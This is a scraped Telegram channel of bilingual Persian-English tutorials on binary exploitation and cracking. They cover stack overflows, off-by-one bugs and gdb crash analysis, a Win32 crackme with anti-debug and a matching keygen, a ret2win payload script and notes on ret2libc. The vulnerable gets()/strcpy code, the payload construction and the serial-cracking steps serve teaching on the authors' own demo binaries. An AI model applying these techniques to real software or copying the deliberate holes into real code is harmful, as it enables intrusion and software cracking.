ReverseEngineering
1.25K subscribers
41 photos
10 videos
55 files
666 links
Download Telegram
┌──────────────┐ ← High Addresses
│ Stack │ ← Contains Local Variables, Return Addresses
├──────────────┤

│ Heap │ ← Contains Dynamic Objects (malloc/new)
├────────────────────────────────────

│ BSS & Data │ ← Global/static variables

├───────────────────────┘ ← Lower addresses

Exploits usually occur in the Stack or Heap

🧨 Most important types of bugs in Binary Exploitation

Type of vulnerability:

Buffer Overflow
Writing more data than allowed into the buffer can overwrite the Return Address

Stack-based Overflow Overflow
The stack is usually used to control EIP/RIP

Heap Overflow
Overflow in the heap causes malloc structures to fail

Use-After-Free
Using a pointer after freeing causes control over freed memory

Format String Bug
Unsafe use of printf can cause memory leak or write

Integer Overflow/Underflow
Causes memory allocation or bypass errors Checks are

Double Free
Freeing a pointer twice leads to heap corruption

🧭 General steps of Binary Exploitation:

Create a crash Bug Trigger:

Make the program crash with specific input

For example, overflow the buffer with a very long string

Analyze the bug:

Use gdb, pwndbg, gef, or radare2

Understand what exactly was overwritten, what registers are controllable, and what the execution flow is like

Leak Security Information:

To bypass ASLR or PIE, you need to leak addresses

For example, you use a format string to print pointers

Build Payload Exploit:

For example, build a ROP chain or Shellcode

Carefully change the Return Address to your gadgets or shellcode

Bypass Protections:

Modern browsers and binaries have protections such as:

ASLR
Addresses are randomized, you need to leak

NX / DEP
Stack is not executable, you should use ROP

Canary
Overflow protection should be leaked or bypassed

PIE / RELRO
Hardening GOT/PLT control

Taking ultimate control:

Usually an exploit ends in one of the following:

Executing Shellcode and getting a shell 🐚

Executing ROP chain to execute system commands

Changing program behavior in favor of the attacker

🧰 Important tools in Binary Exploitation

Most used tools:

gdb + pwndbg or gef
Debugging and crash and memory analysis

radare2, Ghidra, IDA Pro
Binary reverse engineering

ROPgadget, ROPPER
Finding ROP gadgets

pwntools
Quickly building exploits with Python

angr, Qiling
Symbolic analysis or advanced emulation

checksec Checking binary protections

🧪 Very simple classic Stack Overflow example

Vulnerable code:

#include <stdio.h>
#include <string.h>

void vuln() {
char buf[64];
gets(buf); // Insecure
printf("You said: %s\n", buf);
}

int main() {
vuln();
return 0;
}


If you give more than 64 bytes in input, you can overwrite the Return Address and send the program to your shellcode address instead of returning to main


@reverseengine
7
بخش پنجم بافر اورفلو


off by one

off by one زمانی رخ میده که دقیقا یک بایت یا یک واحد کمتر یا بیشتر در نوشتن تحت کنترل باشه

این خطاها کوچک به نظر میرسن اما میتونن باعث تغییر یک بایت از saved rbp یا تغییر null terminator رشته بشن و رفتار غیرمنتظره ایجاد کنن
تشخیص off by one نیاز به دقت در اندازه ها و دیدن بایت های محلی داره

توضیح کد:
در این کد نشون میدیم که نوشتن دقیقا یک بایت میتونه نال ترمینیتور رشته رو از بین ببره یا بایت مهمی رو تغییر بده
هدف دیدن خروجی متفاوت رشته هست

کد آف بای وان offbyone.c

#include <stdio.h>
#include <string.h>

int main() {
    char s[8];
    /* suppose we incorrectly copy 9 bytes into 8 byte buffer */
    memcpy(s, "ABCDEFGH", 8);
    s[7] = 'Z'; /* simulate off by one by modifying last byte */
    printf("string maybe not null terminated %s\n", s);
    return 0;
}


دستورات رو اجرا کنید و ببینید off by one
این مثال رو اجرا کنید و خروجی رو نگاه کنید تا مشکل در اخر رشته مشخص بشه

gcc -g offbyone.c -o offbyone
./offbyone


ببینید که رشته ممکنه نال ترمینیت نشده باشه



Part 5 Buffer Overflow


off by one

off by one occurs when exactly one byte or one unit is under control in the write

These errors seem small, but they can change a byte from the saved rbp or change the null terminator of the string and cause unexpected behavior

Detecting off by one requires accuracy in sizes and seeing local bytes

Code explanation:
In this code, we show that writing exactly one byte can remove the null terminator of the string or change an important byte

The goal is to see different output of the string

Off by one code offbyone.c

#include <stdio.h>
#include <string.h>

int main() {

char s[8];

/* suppose we incorrectly copy 9 bytes into 8 byte buffer */
memcpy(s, "ABCDEFGH", 8);
s[7] = 'Z'; /* simulate off by one by modifying last byte */
printf("string maybe not null terminated %s\n", s);
return 0;
}


Run the commands and see off by one
Run this example and look at the output to see if the problem is at the end of the string

gcc -g offbyone.c -o offbyone
./offbyone


See if the string might not be null terminated


@reverseengine
4
روش کامپایل

فایل: vuln.c
قرار بدید داخل فولدری که تمرین میکنید

// vuln.c  VM ایزوله اجرا بشه

#include <stdio.h>
#include <string.h>

void vuln() {
    char buf[64];
    puts("Enter some text:");
    gets(buf);  //  فقط برای آموزش در عمل هرگز استفاده نکنید
    printf("You entered: %s\n", buf);
}

int main() {
    vuln();
    return 0;
}



🔧 کامپایل  دو حالت


نسخه ساده محافظت‌ ها غیر فعال

gcc -o vuln_plain vuln.c -fno-stack-protector -z execstack -no-pie -g


این نسخه برای دیدن رفتارهای پایه‌ ای overflow و آموزشه فقط داخل VM اجرا کنید


نسخه مقاوم‌تر پیش‌فرض کامپایلر

gcc -o vuln_hard vuln.c -g


این نسخه محافظت‌ های معمول canary, NX, PIE و ... فعالن و برای مقایسه استفاده میشن


چند تا نکته کوتاه:
gets()
نا امنه اینجا فقط برای نمایش overflow استفاده شده


Compile method

File: vuln.c
Place it in the folder where you are practicing

// vuln.c will run in an isolated VM

#include <stdio.h>
#include <string.h>

void vuln() {
char buf[64];
puts("Enter some text:");
gets(buf); // For training purposes only, never use in practice
printf("You entered: %s\n", buf);
}

int main() {
vuln();
return 0;
}


🔧 Two-mode compilation

Simple version with protections disabled

gcc -o vuln_plain vuln.c -fno-stack-protector -z execstack -no-pie -g


Run this version in a VM to see basic overflow behavior and tutorial

More robust version of the compiler default

gcc -o vuln_hard vuln.c -g


This version has the usual protections of canary, NX, PIE, etc. enabled and is used for comparison

A few quick notes:
gets()
Unsafe is used here only to demonstrate overflow

@reverseengine
3
بخش ششم بافر اورفلو


درک دقیق کرش و ساختار فریم تابع در استک

در این بخش میخایم ببینیم وقتی بافر اورفلو باعث کرش میشه دقیقا در پشت‌ صحنه چه اتفاقی میوفته باید بعد از این قسمت
بفهمیم چرا بازنویسی داده در استک باعث تغییر آدرس برگشت میشه
فریم تابع چه اجزایی داره
و چطور میشه این اجزا رو با gdb دید و تحلیل کرد

وقتی یک تابع در C صدا زده میشه سیستم برای اون تابع فضایی در استک درست میکنه به این فضا میگیم فریم تابع هر فریم شامل این بخش‌ هاست

متغیرهای لوکال تابع

مقادیر پارامترها

saved RBP یا base pointer
برای برگشت

saved return address
که بعد از تموم شدن تابع بهش برمیگرده


اگر داده‌ ای بیشتر از اندازه در بافر لوکال نوشته بشه این مقادیر مهم در فریم بازنویسی میشن
و در نتیجه برنامه در return کرش میکنه یا به آدرس اشتباه میپره


این کد کمک میکنه تا فریم تابع و کرش رو ببینیم و در gdb تجزیه ش کنیم

#include <stdio.h>
#include <string.h>

void crash(char *input) {
char buffer[16];
printf("address of buffer: %p\n", buffer);
strcpy(buffer, input);
printf("done copying\n");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: %s input\n", argv[0]);
return 1;
}
crash(argv[1]);
printf("returned safely\n");
return 0;
}



دستورات اجرا و تحلیل

gcc -g file4.c -o file4

gdb --args ./file4 $(python3 -c "print('A'*40)")


بعد از اجرای برنامه داخل gdb این مراحل رو انجام بدید

break crash

run

info frame

x/32x $rbp

x/32x $rsp

اینجا میبینید که بافر پایین‌ تر از saved RBP قرار داره
هر بایتی که از بافر بیرون بنویسید در اخر به saved RBP و بعد return address میرسه


برای مشاهده کرش

continue


برنامه با خطای segmentation fault کرش میکنه
با دستور زیر مسیر برگشت رو ببینید

backtrace


و با این دستور آخرین آدرس برگشتی رو چک کنید

info registers rip



توضیح کامل

در هنگام اجرای تابع crash سیستم اول RBP فعلی رو ذخیره میکنه
بعد RSP رو به پایین‌ تر منتقل میکنه تا فضای لازم برای متغیر های لوکال فراهم بشه
داخل این فضای جدید بافر قرار داره
وقتی ما داده‌ ای بزرگ‌ تر از اندازه بافر بنویسیم اول داده روی متغیر های لوکال مینویسن بعد روی RBP و بعد روی return address
در لحظه‌ای که تابع میخاد برگرده مقدار اشتباه از روی استک خونده میشه و RIP به آدرسی اشتباه پرش میکنه و همین باعث segmentation fault میشه


بخش جذاب

میتونید در gdb با این دستور تفاوت قبل و بعد از overflow رو ببینید


قبل از strcpy

x/32x $rbp-32


بعد از strcpy

x/32x $rbp-32


میبینید که بایت‌های A تمام فضای بین بافر تا return address رو پر کرده
این همون دلیل کرش برنامه هست

@reverseengine
3
Part 6 Buffer Overflow


Understanding the Crash and the Structure of the Function Frame on the Stack

In this part, we are going to see what exactly happens behind the scenes when a buffer overflow causes a crash. After this part, we should
understand why overwriting data on the stack changes the return address.
What are the components of a function frame?
And how can these components be viewed and analyzed with gdb.

When a function is called in C, the system creates a space on the stack for that function. We call this space the function frame. Each frame contains these parts.

Local variables of the function

Parameter values

Saved RBP or base pointer
for return

Saved return address
which the function returns to after the function completes

If more data is written to the local buffer than the limit, these important values ​​are overwritten in the frame
And as a result, the program crashes on return or jumps to the wrong address

This code helps us see the function frame and crash and analyze it in gdb

#include <stdio.h>
#include <string.h>

void crash(char *input) {
char buffer[16];
printf("address of buffer: %p\n", buffer);
strcpy(buffer, input);
printf("done copying\n");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage: %s input\n", argv[0]);
return 1;
}
crash(argv[1]);
printf("returned safely\n");
return 0;
}


Execution and analysis commands

gcc -g file4.c -o file4

gdb --args ./file4 $(python3 -c "print('A'*40)")


After running the program in gdb, perform these steps

break crash

run

info frame

x/32x $rbp

x/32x $rsp


Here you can see that the buffer is below the saved RBP

Every byte you write out of the buffer will eventually reach the saved RBP and then the return address

To view the crash

continue


The program crashes with a segmentation fault error

See the return path with the following command

backtrace


And check the last return address with this command

info registers rip


Full explanation

When executing the crash function, the system first saves the current RBP

Then it moves the RSP down to provide the necessary space for local variables

In this new buffer space, Yes
When we write data larger than the buffer size, first the data is written to local variables, then to RBP, and then to the return address
At the moment the function wants to return, the wrong value is read from the stack and RIP jumps to the wrong address, which causes a segmentation fault

Interesting part

You can see the difference before and after the overflow in gdb with this command

Before strcpy
x/32x $rbp-32


After strcpy
x/32x $rbp-32


You can see that the A bytes have filled all the space between the buffer and the return address

This is the reason for the program crash

@reverseengine
4
ساخت یک باینری نیتیو (Win32) شبیه‌ سازی‌ شده که مکانیزم‌ های واقعی حفاظت آنتی‌ دیباگ ساده چک یکپارچگی تولید سریال بر اساس اسم  داخل داشته باشه تا بدون ریسک قانونی بتونید تمرین RE و عملیات کرک‌ سازی رو انجام بدید

ویژگی‌ها:

GUI
ساده با فیلدهای Name و Serial و دکمه Activate & Play

Anti-Debug: فراخوانی
IsDebuggerPresent() قبل از فعال‌سازی

Integrity (شبیه‌سازی):
بررسی ساده مسیر exe قابل ارتقا به checksum واقعی

الگوریتم سریال: تابع gen_expected_serial که روی نام کاربر s = s*31 + ch انجام میده و بعد سه گروه 16‌بیتی با XOR/شیفت میسازه خروجی در قالب AAAA-BBBB-CCCC

پیام موفق/ناموفق با MessageBoxA.


هشدار اخلاقی/قانونی: این کد فقط برای تمرین روی باینری‌ ایه که خودتون ساختید کرک و انتشار کرک نرم‌ افزارهای تجاری غیرقانونیه


کد کامل فایل hotspot_sim.c

کد رو دقیقا در یک فایل به اسم hotspot_sim.c ذخیره کنید

// hotspot_sim.c
یک برنامه شبیه‌ سازی‌ شده برای تمرین RE

#include <windows.h>
#include <stdio.h>
#include <string.h>

// شناساگر کنترل‌ها
#define IDC_NAME  1001
#define IDC_SERIAL 1002
#define IDC_BUTTON 1003

// یه تابع ساده برای ساختن سریال مورد انتظار بر اساس اسم کاربر
// فرمت خروجی: AAAA-BBBB-CCCC (اعداد هگز چهار رقمی)
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
    unsigned long s = 0;
    // جمع مقادیر کاراکترها رو می‌گیریم
    for (size_t i = 0; i < strlen(name); ++i) {
        s = s * 31 + (unsigned char)name[i]; // یه ضرب و جمع ساده
    }
    // میایم سه گروه 16 بیتی می‌سازیم
    unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5) & 0xFFFF);
    unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5A) & 0xFFFF);
    unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3C) & 0xFFFF);
    // قالب‌بندی نهایی
    _snprintf_s(out, outlen, _TRUNCATE, "%04X-%04X-%04X", g1, g2, g3);
}

// تابعی که سریال ورودی رو با سریال تولیدشده مقایسه می‌کنه
int verify_serial(const char *name, const char *serial)
{
    char expected[64];
    gen_expected_serial(name, expected, sizeof(expected));
    // اینجا مقایسهٔ ساده میکنیم (حساس به حروف)
    if (_stricmp(expected, serial) == 0) return 1;
    return 0;
}

// تابعی که integrity ساده رو شبیه‌سازی می‌کنه
// اینجا فقط چک می‌کنیم که exe path طول مشخصی داشته باشه (نمونه‌ست)
int integrity_ok()
{
    char path[MAX_PATH];
    if (GetModuleFileNameA(NULL, path, MAX_PATH) == 0) return 0;
    size_t L = strlen(path);
    // شبیه‌سازی: اگه طول مسیر خیلی کوتاه باشه یا خیلی بلند باشه خطا بدیم
    if (L < 5) return 0;
    return 1;
}

// پنجره اصلی و پردازش پیام‌ها
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg)
    {
    case WM_CREATE:
    {
        // یک لیبل و یک فیلد برای نام
        CreateWindowA("static", "Name:", WS_VISIBLE | WS_CHILD, 10, 10, 50, 20, hWnd, NULL, NULL, NULL);
        CreateWindowA("edit", "", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
                      70, 10, 240, 22, hWnd, (HMENU)IDC_NAME, NULL, NULL);

        // لیبل و فیلد سریال
        CreateWindowA("static", "Serial:", WS_VISIBLE | WS_CHILD, 10, 40, 50, 20, hWnd, NULL, NULL, NULL);
        CreateWindowA("edit", "", WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
                      70, 40, 240, 22, hWnd, (HMENU)IDC_SERIAL, NULL, NULL);

        // دکمه Activate
        CreateWindowA("button", "Activate & Play", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
                      110, 80, 120, 30, hWnd, (HMENU)IDC_BUTTON, NULL, NULL);
        break;
    }
    case WM_COMMAND:
    {
        if (LOWORD(wParam) == IDC_BUTTON)
        {
            // اگه دیباگر باشه لغو می‌کنیم
            if (IsDebuggerPresent()) {
                MessageBoxA(hWnd, "Activation failed: debugger detected.", "Error", MB_OK | MB_ICONERROR);
                break;
            }

            // integrity ساده
            if (!integrity_ok()) {
                MessageBoxA(hWnd, "Activation failed: integrity check failed.", "Error", MB_OK | MB_ICONERROR);
1
                break;
            }

// گرفتن متن از کنترل‌ ها
            char name[128] = {0};
            char serial[128] = {0};
            HWND hName = GetDlgItem(hWnd, IDC_NAME);
            HWND hSerial = GetDlgItem(hWnd, IDC_SERIAL);
            GetWindowTextA(hName, name, sizeof(name));
            GetWindowTextA(hSerial, serial, sizeof(serial));

            // پاک کردن فضای خالی ابتدای/انتهای رشته
            if (strlen(name) == 0) {
                MessageBoxA(hWnd, "Please enter your name first.", "Info", MB_OK | MB_ICONINFORMATION);
                break;
            }
            if (strlen(serial) == 0) {
                MessageBoxA(hWnd, "Please enter serial.", "Info", MB_OK | MB_ICONINFORMATION);
                break;
            }

            // بررسی سریال
            if (verify_serial(name, serial)) {
                MessageBoxA(hWnd, "Activation successful! Playing...", "OK", MB_OK | MB_ICONINFORMATION);
            } else {
                MessageBoxA(hWnd, "Invalid serial!", "Error", MB_OK | MB_ICONERROR);
            }
        }
        break;
    }
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProcA(hWnd, msg, wParam, lParam);
    }
    return 0;
}

// نقطهٔ ورود برنامه ویندوزی
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    // ساخت کلاس پنجره
    WNDCLASSA wc = {0};
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = "HotspotSimClass";
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    wc.hCursor = LoadCursor(NULL, IDC_ARROW);

    if (!RegisterClassA(&wc)) return -1;

    // ساخت پنجره
    HWND hWnd = CreateWindowA("HotspotSimClass", "Hotspot Player (Simulated - Native)",
                              WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
                              CW_USEDEFAULT, CW_USEDEFAULT, 340, 160, NULL, NULL, hInstance, NULL);
    if (!hWnd) return -1;

    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    // لوپ پیام ساده
    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }

    return (int)msg.wParam;
}



Build a simulated native (Win32) binary that has real anti-debug protection mechanisms, simple integrity check, serial generation based on the name inside, so you can practice RE and cracking operations without legal risk

Features:

Simple GUI
with Name and Serial fields and Activate & Play button

Anti-Debug: Call
IsDebuggerPresent() before activation

Integrity (simulation):
Simple check of exe path, upgradeable to real checksum

Serial algorithm: gen_expected_serial function that does s = s*31 + ch on the username and then creates three 16-bit groups with XOR/shift. Output in the format AAAA-BBBB-CCCC

Success/Failure message with MessageBoxA.

Ethical/Legal Warning: This code is for practice only on a binary that you have created yourself. Cracking and distributing commercial software is illegal

Full code of the hotspot_sim.c file

Save the code exactly in a file named hotspot_sim.c

// hotspot_sim.c
A simulated program for practicing RE
Simple and vernacular explanations and comments

#include <windows.h>
#include <stdio.h>
#include <string.h>

// Control identifiers
#define IDC_NAME 1001
#define IDC_SERIAL 1002
#define IDC_BUTTON 1003

// A simple function to generate the expected serial based on the user name
// Output format: AAAA-BBBB-CCCC (four-digit hex numbers)
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
unsigned long s = 0;
// We take the sum of the character values
for (size_t i = 0; i < strlen(name); ++i) {
s = s * 31 + (unsigned char)name[i]; // A simple multiplication and addition
}
// Let's create three 16-bit groups
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5A) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3C) & 0xFFFF);
// Final formatting
_snprintf_s(out, outlen, _TRUNCATE, "%04X-%04X-%04X", g1, g2, g3);
}
1
برنامه کمکی: تولید سریال فایل: gen_serial.c

برای راحتی کار و تمرین یک برنامه C ساده که همون الگوریتم رو اجرا میکنه و سریال برای یک اسم میسازه

// gen_serial.c
// برنامه ساده برای تولید سریال بر اساس اسم

#include <stdio.h>
#include <stdint.h>
#include <string.h>

// تولید سریال مثل gen_expected_serial در باینری
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
uint64_t s = 0;
// s = s*31 + ch
for (size_t i = 0; i < strlen(name); ++i) {
unsigned char ch = (unsigned char)name[i];
s = s * 31 + ch;
}
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5ULL) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5AULL) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3CULL) & 0xFFFF);

// فرمت AAAA-BBBB-CCCC (حروف بزرگ هگز)
snprintf(out, outlen, "%04X-%04X-%04X", g1, g2, g3);
}

int main(int argc, char **argv)
{
char name[256] = {0};
char serial[64] = {0};

if (argc >= 2) {
strncpy(name, argv[1], sizeof(name)-1);
} else {
printf("Enter name: ");
if (!fgets(name, sizeof(name), stdin)) return 1;
name[strcspn(name, "\r\n")] = 0;
}

if (strlen(name) == 0) {
fprintf(stderr, "Name is empty\n");
return 1;
}

gen_expected_serial(name, serial, sizeof(serial));
printf("Name: %s\nSerial: %s\n", name, serial);
return 0;
}



نحوه ساخت Build

با MinGW (در ویندوز):

برای hotspot_sim.c:

gcc hotspot_sim.c -o hotspot_sim.exe -mwindows


mwindows برای حذف پنجره کنسول و ساخت GUI

برای gen_serial.c:

gcc gen_serial.c -o gen_serial.exe



با MSVC (Developer Command Prompt):

hotspot_sim.c:

cl /EHsc hotspot_sim.c user32.lib gdi32.lib

gen_serial.c:

cl /EHsc gen_serial.c


چجوری تست و استفاده کنید

داخل VM ویندوزی حتما VM و snapshot برای فایل hotspot_sim.exe رو اجرا کنید


اسم دلخواه بزنید مثلا Ali حالا یا سریال رو با gen_serial.exe Ali بسازید و در فیلد Serial پیست کنید یا داخل دیباگر تابع تولید رو اجرا و مقدار expected را بخونید


اگر سریال درست باشه MessageBox موفقیت نمایش میده

راهنمای کوتاه آنالیز در x64dbg / IDA

جستجوی رشته‌ها
: "Name:", "Serial:", "%04X-%04X-%04X", "Activate & Play" → رفرنس‌ها معمولا توابع مهم رو نشون میدن

IsDebuggerPresent: breakpoint
روی IsDebuggerPresent یا آدرسی که اون رو صدا میزنه اگر 1 برگرده برنامه مسیر خطا رو میزنه

GetWindowTextA: breakpoint
بذارید تا مقدار name و serial رو داخل حافظه ببینید

ثابت‌ها: جستجوی ثابت‌های XOR (0xA5A5A5A5, 0x5A5A5A5A, 0x3C3C3C3C) یا قالب %04X-%04X-%04X شما رو به تابع تولید سریال میرسونه

مقایسه: breakpoint روی stricmp تا قبل از مقایسه دو بافر رو ببینید

MessageBoxA:
گذاشتن breakpoint اینجا سریع میگه کدوم شاخه اجرا شده موفق یا خطا




Auxiliary program: Serial generation File: gen_serial.c)

For convenience and practice, a simple C program that implements the same algorithm and creates a serial for a name

// gen_serial.c
// Simple program to generate serial based on name

#include <stdio.h>
#include <stdint.h>
#include <string.h>

// Generate serial like gen_expected_serial in binary
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
uint64_t s = 0;
// s = s*31 + ch
for (size_t i = 0; i < strlen(name); ++i) {
unsigned char ch = (unsigned char)name[i];
s = s * 31 + ch;
}
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5ULL) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5AULL) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3CULL) & 0xFFFF);

// format AAAA-BBBB-CCCC (hex uppercase letters)
snprintf(out, outlen, "%04X-%04X-%04X", g1, g2, g3);
}

int main(int argc, char **argv)
{
char name[256] = {0};
char serial[64] = {0};

if (argc >= 2) {
strncpy(name, argv[1], sizeof(name)-1);
} else {
printf("Enter name: ");
if (!fgets(name, sizeof(name), stdin)) return 1;
name[strcspn(name, "\r\n")] = 0;
}

if (strlen(name) == 0) {
fprintf(stderr, "Name is empty\n");
return 1;
}

gen_expected_serial(name, serial, sizeof(serial));
printf("Name: %s\nSerial: %s\n", name, serial);
return 0;
}
1
بخش هشتم بافر اورفلو


آدرس بازگشت و اجرای تابع win

کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه

کد فایل file5_vuln.c

#include <stdio.h>
#include <string.h>

void win() {
puts("congrats you reached win");
}

void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}



کامپایل کنید

gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector


یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه

python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)


تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید

break vuln

run

x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy


x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
وقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید

x/gx $rbp+8


ادرس تابع win رو بگیرید

p &win



ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید


python3 - <<'PY' > payload.bin
import sys,struct

offset = 40 # عددی که خودتون پیدا کردید

addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6

sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY


بعد اجرا کنید

./file5_vuln "$(cat payload.bin)"


اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه

نکته‌های مهم

آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید



Part 8 Buffer Overflow


return address and execute the win function

What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return

File code file5_vuln.c

#include <stdio.h>
#include <string.h>

void win() {
puts("congrats you reached win");
}

void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}

int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}


Compile

gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector


Send a pattern or just a repeated A to crash

python3 -c "print('A'*200)" > in.txt

gdb --args ./file5_vuln $(cat in.txt)


Stop gdb and look before and after strcpy

break vuln

run

x/40x $rbp-64
# See memory below rbp before strcpy
next

# Run strcpy completely

x/40x $rbp-64 # See what changed after strcpy


When you see a crash or overwrite, read the 8-byte address that was in the return location

x/gx $rbp+8


Get the address of the win function

p &win


Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command

python3 - <<'PY' > payload.bin

import sys,struct

offset = 40 # The number you found yourself

addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6

sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY


Then run

./file5_vuln "$(cat payload.bin)"


If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed

Important points
4
ReverseEngineering
🔹 Red Zone در سیستم‌ های x86-64 بر اساس ABI لینوکس پایین RSP اشاره‌گر استک یک محدوده‌ی 160 بایتی وجود داره که به اون Red Zone میگن 🔸 این فضا مخصوص برای چیه؟ کامپایلر اجازه داره بدون تغییر RSP از این 160 بایت برای ذخیره موقت متغیر ها استفاده کنه 🔸 چرا…
چرا Exploit Dev به Red Zone حساسه؟

اگر روی استک payload میزارید shellcode/ROP ممکنه داخل Red Zone باشه

کامپایلر RSP رو تغییر نداده ولی داده‌ای که تزریق کرد داخل همون محدوده است

پس:

اگر تابع دیگه ای صدا زده بشه داده پاک میشه

اگر interrupt بشه کرش میکنه


چند تا payloadها با stomp شدن Red Zone از کار میوفتن

خیلی از فراخوانی‌ های داخلی libc اولین کاری که میکنن اینه که از Red Zone استفاده بکنن


اگر ROP Chain شما داخل این محدوده باشه overwrite میشه کرش



Stack Alignment
وابسته به Red Zone


اگر اشتباهی فکر کنید فضای زیر RSP امن نیست ممکنه SUB/ADD اشتباه بزنی و استک misalign میشه

Misalignment:

سیستم‌ کال کرش کنه

libc کرش کنه

ROP Chain درست اجرا نشه



مثال عملی

کد C

#include <stdio.h>

void test() {
char *p = (char *)__builtin_frame_address(0);
printf("RSP: %p\n", p);

char buffer[32];
buffer[0] = 'A';
printf("buffer: %p\n", buffer);
}

int main() {
test();
return 0;
}


آدرس buffer پایین RSP است

اما RSP کم نشده!

این یعنی buffer داخل Red Zone هست


نکته طلایی:
کامپایلر حتی بدون رزرو استک در Red Zone متغیر میزاره



Why is Exploit Dev sensitive to Red Zone?

If you put the shellcode/ROP payload on the stack, it may be in the Red Zone

The compiler did not change the RSP, but the data it injected is in the same range

So:

If another function is called, the data will be cleared

If it is interrupted, it will crash

Some payloads will fail when the Red Zone is stomped

Many internal libc calls do the first thing they do is use the Red Zone

If your ROP Chain is in this range, it will be overwritten and crash

Stack Alignment

Dependent on the Red Zone

If you mistakenly think that the space below the RSP is not safe, you may make a SUB/ADD mistake and the stack will be misaligned

Misalignment:

System call crashes

libc crashes

ROP Chain does not execute correctly

Practical example

C code

#include <stdio.h>

void test() {
char *p = (char *)__builtin_frame_address(0);

printf("RSP: %p\n", p);

char buffer[32];
buffer[0] = 'A';
printf("buffer: %p\n", buffer);
}

int main() {
test();
return 0;
}


The buffer address is below RSP

But RSP is not decreased!

This means the buffer is in the Red Zone

Golden tip:
The compiler places variables in the Red Zone even without stack reservation

@reverseengine
1👎1🔥1
بخش سیزدهم بافر اورفلو


مفهوم ret2libc و چطور از توابع libc برای هدایت اجرا استفاده میکنیم

چرا وقتی استک مال ما قابل اجرا نیست NX یا آدرس‌ ها جا به‌ جا میشن به جای گذاشتن شل‌ک د روی استک میریم سراغ توابع آماده libc مثل puts یا printf یا در حالت خطرناک system


وقتی نمیتونم کد بذاریم و اجراش کنیم NX یا آدرس‌ها متغیرن ASLR میایم از کتابخونه سیستم استفاده میکنیم به جای اینکه RIP رو بندازیم روی شل‌ کد خودمون RIP رو میندازیم روی آدرس تابعی تو libc که قبلا هم خود برنامه ازش استفاده کرده puts و آرگومان مناسب رو هم جوری کنار میذاریم که puts یه رشته دلخواه رو چاپ کنه
این ایده دو مرحله اصلی داره

1 نشت آدرس libc یا یک آدرس ثابت پیدا میکنیم

